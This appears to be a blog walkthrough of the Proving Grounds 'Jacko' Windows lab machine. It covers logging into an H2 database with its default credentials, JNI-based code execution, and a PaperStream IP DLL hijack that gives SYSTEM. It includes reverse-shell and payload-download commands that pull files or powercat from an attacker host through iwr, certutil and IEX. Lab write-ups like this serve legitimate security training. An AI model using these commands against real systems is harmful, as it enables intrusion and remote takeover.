Summary

Hello there! In this post I am going to walkthrough Proving Grounds' Jacko machine and explain a few concepts along the way. Jacko is a Windows machine that has a few misconfigurations which will allow us to fully compromise the machine through DLL Hijacking.

My tip for this one would be: "Look at the things that you don't normally see." It's easy to get overwhelmed with so much information so maybe take a pause and reevaluate.

Reconnaissance

NMAP

Always begin with an Nmap scan to find the open ports:

sudo nmap -p- --min-rate 10000 192.168.XXX.66
sudo nmap -p XX,XXX,XXX,XXXX -A 192.168.XXX.66 -v

H2 Database

One of the first things that should stick out here are the HTTP services running, 80/TCP and 8082/TCP. We should move to explore these first, either through fuzzing (wfuzz, nikto, ffuf, gobuster, etc.) or through simply visiting the website via a browser.

Here we have 8082/TCP posing as a web service for an H2 database, but what is that? This is a type of database called a Relational Database Management System (RDBMS) which runs on Java and is fairly lightweight. other RDBMSs would include Oracle and MySQL. These DBs can contain really valuable information or can simply be exploited to provide Remote Code Execution (RCE) on the device.

Another important aspect about H2, is that it's open-source which means we can see source code and freely install it ourselves to research vulnerabilities. But first, let's look for low hanging fruit.

One of the first things we should find out is if this has a default password. Anytime you come across an application or DB, search for the default password on a search engine (google). Finding the main documentation page (H2 Database Engine) we can search through a few different pages that indicate the default username "sa" actually has a blank password. If we try that we're logged in.

Upon logging in you will find that you can execute SQL queries.

However, one last bit on enumeration before we move on to the next section. We've found a unique application (H2 Database) running on a windows machine. Let's check ExploitDB or use the searchsploit command to see if anything noteworthy shows up...

Sure enough, we get a few interesting results, especially one that includes code execution (H2 Database 1.4.199 - JNI Code Execution - Java local Exploit (exploit-db.com))

Exploitation

H2 Database Code Execution

From the above exploit, "H2 allows users to gain code execution by compiling and running Java code. however this requires the Java Compiler to be available on the machine running H2. This exploit utilises the Java Native Interface to load a a Java class without needing to use the Java Compiler."

Normally, to run Java code, you need a Java Compiler to be present on the device. However, with this exploit, we can use the Java Native Interface (JNI) to run code without needing the compiler. So what's this JNI feature?

JNI, is like a bridge between Java and native code. It is going to allow Java code to call and be called by native applications on the device (such as a DLL). So if we can create a DLL and call it, we can execute commands on the device.

The first portion of the exploit, "Write native library", is creating the DLL file and writing it to the Windows Temp directory. We can see the first two CHAR codes 0x4d and 0x5a which translate to MZ. MZ is the header information and symbolizes an executable file for Windows. So that is writing JNIScriptEngine.dll which can be referenced from Code White's blog post: CODE WHITE | Blog: Exploiting H2 Database with native libraries and JNI (codewhitesec.blogspot.com)

Once the DLL file is written we call it and load it, as described in the "Load native library" section of the ExploitDB reference. Then finally, we "Evaluate script" and can now run system commands.

We can continue executing some enumeration commands but not every command works, which we will soon find out why.

However, it's important to stop here and highlight a point: We've achieved code execution on a device. Where do we go from here? Whenever we can run commands, our next thought process should very likely be: "How can I get a shell to be interactive on the device?"

H2 Database Reverse Shell

With a reverse shell on the system we can run commands interactively and navigate more easily. Think about what we've already done: We wrote an executable to the device and ran commands. That should point us in the direction of what kind of reverse shell to go for.

Let's create another executable that holds our reverse shell and catch it with netcat.

The payload is up to you and while you can use the Meterpreter payload, I'm going to opt out of Metasploit for this post. But you can just as well build the Meterpreter payload and catch it with MSFConsole's multi handler.

Make sure you set up your http server to serve the payload:

sudo python3 -m http.server 80

and start a netcat handler:

nc -lvnp 8082

Now upload your reverse shell using the previous SQL statement. You should find that you can't run PowerShell. When attempting to reach back to our attacker infrastructure think as simple as possible. While there are some really great C2 methods out there, here's some I use that often work:

iwr -uri http://AttackerIp/FILENAME -Outfile FILENAME

certutil -urlcache -split -f http://AttackerIp/file.exe C:/Users/Public/file.exe

IEX(New-Object System.Net.WebClient).DownloadString('http://IpAddress/powercat.ps1');powercat -c IpAddress -p PortNumber -e powershell

Certutil is a more generic find on systems and is most often to work

And once we write the file we can simply execute just like we ran commands:

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:/Windows/Temp/jniupdate.exe").getInputStream()).useDelimiter("Z").next()');

And now look back to our netcat listener that caught it:

Enumeration

Basic Commands

Well, we are now interactive on the device. But there are some commands we can run and some we can't. If you are running simple command utilities and they are not working, you should then think about using the literal path and more so, what the PATH variable is set to. We can see system variables by running SET:

The PATH Variable

The reason we can't run some commands is because they are not immediately available to use through the PATH variable. %PATH% is going to signify where the system looks for executable file locations. For instance, when we run whoami, Windows knows we are actually referencing "C:WindowsSystem32" and executes the full file path. Here, however, %PATH% is not the C:WindowsSystem32. It's actually "C:UserstonyAppDataLocalWindowsMicrosoftWindowsApps". This directory stores execution aliases for Microsoft Store apps. DIR may be a built-in command, while whoami is an executable located in C:WindowsSystem32. Built-in commands are baked into the shell itself.

So to fix this we can either add whoami.exe to the WindowsApps directory, change the PATH variable to include %SystemRoot%System32, or just reference the full file path when running commands.

I'm actually going to choose the latter and run the full file path command. I want to make as little changes as possible on the system and leave less of a footprint.

Continue Enumeration

With that in mind, continue your enumeration cycle and if you get stuck come back and read on...

Service Enumeration

While checking out what is installed on the system, you should find a unique program.

dir 'C:Program Files'
dir 'C:Program Files (x86)'

What should stick out to us here is a program called "PaperStream IP".

After further investigation into that folder, we can find some service version data:

Again, anytime we find an application, let's see if there is a mention from ExploitDB or searchsploit, taking note of the version we just found:

And now we have a path to privilege escalation...

Privilege Escalation

PaperStream IP Exploitation

Ok, so let's dive in a little bit to what we're exploiting here. Fujitsu’s PaperStream IP software is an image enhancement program that works with Fujitsu scanners. We are going to exploit a vulnerability in the scanner software that lies in the program's service "FJTWSVIC" which ends up running as SYSTEM. As described in the exploit reference (PaperStream IP (TWAIN) 1.42.0.5685 - Local Privilege Escalation - Windows local Exploit (exploit-db.com)):

"A DLL hijack vulnerability exists in the FJTWSVIC service running as part of the Fujitsu PaperStream IP (TWAIN) software package. This exploit searches for a writable location, copies the specified DLL to that location and then triggers the DLL load by sending a message to FJTWSVIC over the FjtwMkic_Fjicube_32 named pipe."

As identified in the applicable vulnerability, CVE-2018-16156, One of these message processing functions attempts to dynamically load the UninOldIS.dll library and executes an exported function named ChangeUninstallString. The default install does not contain this library. Therefore, if any DLL with that name exists in any directory listed in the PATH variable, it can be used to escalate to SYSTEM level privilege. This is known as a DLL Hijacking vulnerability.

So we are going to create another reverse shell in the form of a DLL and write it to the system. One thing to look out for is that within the exploit, it's hardcoded for "C:WindowsTempUninOldIS.dll", so make sure you write the DLL reverse shell to that exact location, or change the $PayloadFile parameter in the script accordingly.

The script is going to take that hardcoded path with the DLL and copy it to a writeable location (after enumerating which one is writeable from %PATH%).

Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerEnvironment" -Name "PATH"

Then it is going to create the named pipe "FjtwMkic_Fjicube_32" and write the export function "ChangeUninstallString" to the named pipe, which will now trigger the DLL.

So, create the shell using the "-f dll" parameter. Also keep in mind that we found this in the "Program Files (x86)" directory and should generate the appropriate payload:

Copy the exploit and upload it

Upload the DLL reverse shell and name it UninOldIS.dll (Note: command is run while in the C:WindowsTemp directory)

And use PowerShell to run the PS1 script, specifying the DLL to execute the payload:

Conclusion

Thanks for sticking through this one! We fully exploited a Windows system by logging into a DB with default credentials, exploiting a known vulnerability to get code execution, and finding a vulnerable program in which we used DLL hijacking to execute a reverse shell DLL that gave us SYSTEM.

This box should remind us to always keep searching for vulnerable applications when we find them. Enumeration is a cycle and we may not have to look too far to find vulnerabilities.